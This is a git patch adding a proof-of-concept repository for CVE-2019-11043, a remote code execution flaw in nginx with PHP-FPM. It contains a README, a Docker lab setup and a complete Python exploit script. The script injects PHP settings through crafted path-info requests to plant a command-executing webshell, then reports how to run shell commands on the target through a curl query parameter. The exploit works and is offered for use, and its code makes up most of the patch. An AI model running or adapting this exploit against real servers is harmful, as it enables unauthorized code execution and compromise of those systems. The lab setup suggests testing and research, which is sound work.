From d250f005b0dbaf9494f0d3513e030a64a690a296 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Mon, 28 Oct 2019 12:09:53 +0100 Subject: [PATCH] draft --- README.md | 27 ++++++++++++ conf/default.conf | 17 ++++++++ docker-compose.yml | 30 +++++++++++++ exploit.py | 106 +++++++++++++++++++++++++++++++++++++++++++++ php/index.php | 9 ++++ 5 files changed, 189 insertions(+) create mode 100644 README.md create mode 100644 conf/default.conf create mode 100644 docker-compose.yml create mode 100644 exploit.py create mode 100644 php/index.php diff --git a/README.md b/README.md new file mode 100644 index 0000000..8110da6 --- /dev/null +++ b/README.md @@ -0,0 +1,27 @@ +# PoC CVE-2019-11043 +A Python version of the CVE-2019-11043 exploit https://github.com/neex/phuip-fpizdam
+This PoC is still a draft, please use the exploit written by [@neex](https://github.com/neex/phuip-fpizdam) + +## PoC Setup +Just run docker compose to bring up nginx and php-fpm: + +```bash +# docker-compose up -d +Creating network "cve-2019-11043-git_app_net" with driver "bridge" +Creating php ... done +Creating nginx ... done +``` + +## Exploit +```bash +# python3 exploit.py --url http://localhost/index.php +[*] QSL candidate: 1752, 1757, 1762 +[*] Target seems vulnerable: PHPSESSID=05b156ea034b903de6624f09c513541c; path=/ +[*] RCE successfully exploited! + + You should be able to run commands using: + curl http://localhost/index.php?a=bin/ls+/ +``` + +## Video PoC +coming soon... diff --git a/conf/default.conf b/conf/default.conf new file mode 100644 index 0000000..13b5de2 --- /dev/null +++ b/conf/default.conf @@ -0,0 +1,17 @@ +server { + listen 80; + + server_name _; + root /usr/share/nginx/html; + + location ~ [^/]\.php(/|$) { + # try_files $uri =404; + fastcgi_split_path_info ^(.+\.php)(/.+)$; + fastcgi_pass 172.16.88.3:9000; + fastcgi_index index.php; + include fastcgi_params; + fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name; + fastcgi_param PATH_INFO $fastcgi_path_info; + fastcgi_hide_header X-Powered-By; + } +} diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..f7c14e0 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,30 @@ +version: '3' +services: + nginx: + image: nginx:latest + container_name: nginx + ports: + - "80:80" + restart: always + volumes: + - ./conf/default.conf:/etc/nginx/conf.d/default.conf + extra_hosts: + - "wordpress:172.16.83.3" + networks: + app_net: + ipv4_address: 172.16.88.2 + php: + image: themiddle/php_cve-2019-11043 + container_name: php + volumes: + - ./php:/var/www/html + networks: + app_net: + ipv4_address: 172.16.88.3 +networks: + app_net: + driver: bridge + ipam: + driver: default + config: + - subnet: 172.16.88.0/24 diff --git a/exploit.py b/exploit.py new file mode 100644 index 0000000..55111aa --- /dev/null +++ b/exploit.py @@ -0,0 +1,106 @@ +import requests, argparse, sys + +def inlineopts(): + parser = argparse.ArgumentParser() + + parser.add_argument( "--url", + help='Target URL (ex: http://localhost/index.php)', + type=str, + required=True) + + parser.add_argument( "--verbose", + help='show verbose output', + action="store_true", + required=False) + + return parser.parse_args() + +opt = inlineopts() + +php_settings = [ + "short_open_tag=1;;;;;;;", + "html_errors=0;;;;;;;;;;", + "include_path=/tmp;;;;;;", + "auto_prepend_file=a;;;;", + "log_errors=1;;;;;;;;;;;", + "error_reporting=2;;;;;;", + "error_log=/tmp/a;;;;;;;", + "extension_dir=%22%3C%3F=%60%22;;;", + "extension=%22$_GET%5Ba%5D%60%3F%3E%22", +] + +rce_command = "a=/bin/sh+-c+'which+which'" +rce_check = "bin/which" + +query_string_length = [] +header_value_length = 1 + +orig = requests.get(opt.url) + +for x in range(1700,1800): + res = requests.get(opt.url+"/PHP%0Ainfooooooooooooooooooo.php?"+("U"*x)) + if res.status_code >= 500: + if opt.verbose: + print("(debug) qsl:"+str(x)+" status:"+str(res.status_code)) + query_string_length.append(x) + +qsl_list = [(query_string_length[-1]-10), (query_string_length[-1]-5), query_string_length[-1]] +print("[*] QSL candidate: "+", ".join(str(x) for x in qsl_list)) + +r = True +for qslnum in qsl_list: + while r: + res = requests.get(opt.url+"/PHP_VALUE%0Asession.auto_start=1;;;?"+("U"*qslnum), headers={"User-Agent":"CVE-2019-11043","M-iddle":("A"*header_value_length), "Ebut":"qazxs edcvf"}) + + if opt.verbose: + print("(debug) Test headers value length: "+str(header_value_length)); + + if "Set-Cookie" in res.headers and "PHPSESSID" in res.headers["Set-Cookie"]: + print("[*] Target seems vulnerable: "+res.headers["Set-Cookie"]) + + def_hvl = header_value_length + r = False + break + + header_value_length = (header_value_length+1) + + if header_value_length > 1000: + print("[*] Target not vulnerable or something goes wrong...") + break + sys.exit() + + if r is False: + break + +if opt.verbose: + print("(debug) HVL:"+str(def_hvl)); + +for qslnum in qsl_list: + res = requests.get(opt.url+"/PHP_VALUE%0Asession.auto_start=0;;;?"+("Q"*qslnum), headers={"User-Agent":"CVE-2019-11043","M-iddle":("A"*def_hvl), "Ebut":"qazxs edcvf"}) + +if def_hvl is not None: + for zz in range(qsl_list[0],(qsl_list[-1])): + for setting in php_settings: + hhvalnew = def_hvl + if True: + intremove = (len(setting)+4) + + if opt.verbose: + print("Inject> QSL:"+str(zz-intremove)+" HVL:"+str(hhvalnew)+" setting:"+setting); + + res = requests.get(opt.url+"/PHP_VALUE%0A"+setting+"?"+rce_command+"&"+("Q"*(zz-intremove)), headers={"User-Agent":"CVE-2019-11043","M-iddle":("A"*hhvalnew), "Ebut":"qazxs edcvf"}) + + if rce_check in res.text: + print( + "[*] RCE successfully exploited!\n\n"+\ + " You should be able to run commands using:\n"+\ + " curl "+opt.url+"?a=bin/ls+/\n" + ) + + sys.exit() + + if opt.verbose: + print("----------------------") + print(res.text) + print("----------------------") + diff --git a/php/index.php b/php/index.php new file mode 100644 index 0000000..8d22178 --- /dev/null +++ b/php/index.php @@ -0,0 +1,9 @@ +